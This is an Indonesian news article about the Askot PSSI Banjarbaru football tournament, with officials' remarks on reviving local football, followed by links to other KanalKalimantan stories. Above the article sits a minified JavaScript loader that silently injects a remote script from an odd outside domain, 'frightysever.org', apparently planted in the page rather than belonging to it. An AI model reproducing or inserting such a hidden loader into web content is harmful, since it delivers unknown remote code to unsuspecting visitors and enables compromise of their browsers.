(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Asosiasi Kota (Askot) PSSI Banjarbaru mulai menghidupkan kembali iklim sepak bola di kota Idaman yang seperti kehilangan pamor, sejatinya iklim persepakbolaan di Banjarbaru pernah jaya dan disegani.
Ketua Askot PSSI Kota Banjarbaru H AR Iwansyah menyebut memang sedang mencari cara agar mengembalikan pamor persepakbolaan Kota Idaman. Salah satunya dengan membuat kompetisi rutin di Banjarbaru.
“Itulah, kenapa kita tidak disegani sekarang. Ini yang sedang kita cari,†kata Iwansyah saat membuka turnamen sepak bola Piala Ketua Askot PSSI Banjarbaru di Stadion Mini Haji Idak Loktabat pada Senin (18/3) sore.
Menurut Iwan, potensi pemain sepak bola di Banjarbaru cukup banyak. Namun talenta-telanta itu, ujarnya., kerap tidak muncul lantaran minim dan sepinya kompetisi yang digelar.
“Sebenranya banyak sekali (talenta), nah mudah-mudahan lewat turnamen-turnamen seperti ini bisa jadi salah satu jalan membuat Banjarbaru bisa disegani,†tegasnya.
Turnamen yang diikuti 18 klub tersebut, Wakil Ketua Asprov PSSI Kalsel, drs Djumadi Masrun yang hadir menyebut bahwa memang di Banjarbaru harus intens digelar turnamen.
“Kita berharap ada pemerataan di tiap-tiap daerah. Banjarbaru saya harap bisa mengisi pemerataan itu. Jadi jangan hanya dominan satu daerah saja,†ucap pria yang akrab disapa Pa Djum ini.
Ditambahkannya, Pa Djum menginginkan agar turnamen bisa digelar secara berkelanjutan. Sebab dengan cara ini ujarnya bibit dan talenta pemain terutama yang muda bisa dipoles.
“Kalau bisa setiap enam bulan sekali. Jadi ada pembinaan lewat kompetisi ini,†pesannya.
Sementara itu, Walikota Banjarbaru H Nadjmi Adhani menanggapi soal taring sepak bola Banjarbaru. Bagi Nadjmi, evaluasi bisa digelar dari penyelenggaraan turnamen seperti ini.
“Yang pertama kita dari pemerintah tentu mendukung turnamen seperti ini. Karena saya melihat sebetulnya kita punya modal dan potensi. Makanya ini jadi evaluasi,†bebernya.
Terakhir, dukungan dari Pemkot sebut Nadjmi direalisasikannya lewat Disporabudpar. “Kita sinergikan dengan Askot. Jadi semoga bisa jadi agenda tahunan,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.